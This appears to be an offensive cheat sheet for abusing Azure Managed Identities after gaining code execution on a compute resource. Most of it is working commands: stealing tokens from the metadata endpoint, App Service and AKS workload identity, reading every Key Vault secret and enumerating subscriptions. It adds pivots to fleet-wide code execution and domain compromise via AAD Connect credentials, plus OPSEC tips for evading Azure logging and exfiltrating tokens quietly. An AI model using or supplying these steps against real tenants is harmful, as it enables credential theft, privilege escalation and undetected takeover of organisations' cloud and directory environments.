purpleailab Azure Managed Identity Abuse
You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.
Steal the token
Linux VM / Container
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)
Windows VM
$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token
App Service / Function (different endpoint, requires IDENTITY_HEADER)
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
| jq -r .access_token)
Common token audiences (resource param)
| Audience URL | Use |
|---|---|
https://management.azure.com/ |
ARM — list/modify Azure resources |
https://graph.microsoft.com/ |
Microsoft Graph — read directory, mail, groups |
https://vault.azure.net |
Key Vault — secrets, keys, certificates |
https://storage.azure.com/ |
Storage account — blob/queue/file/table |
https://database.windows.net/ |
Azure SQL |
https://servicebus.azure.net/ |
Service Bus |
Request one token per audience — the MI assignment determines which work.
Use the token
# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"
# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .
Pivot patterns
| MI permission | Pivot to |
|---|---|
| Contributor on subscription | RunCommand on every VM in the sub → fleet-wide RCE |
| KeyVault Reader / Secrets User | Decrypt all stored credentials |
| User Access Administrator | Self-grant Owner role anywhere |
| AAD App Owner | Modify app registration → app-credential persistence |
| Storage Account Contributor | Steal storage keys → SAS tokens (low audit signature) |
Workload Identity (federated, no client secret)
AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from /var/run/secrets/azure/tokens/azure-identity-token, then:
SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
-d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)
AAD Connect MSOL (hybrid environments)
On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:
# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials # AADInternals — extracts MSOL creds
OPSEC
- Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
- Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
IDENTITY_HEADERenv on App Service is process-scope — exfil it from a single trick command, then reuse.- Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" → exfil tokens carefully.
References
- MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling
- ROADtools (Dirk-jan) — AAD enumeration without alerts
- DEFCON 30 "Abusing Azure Active Directory" — Andy Robbins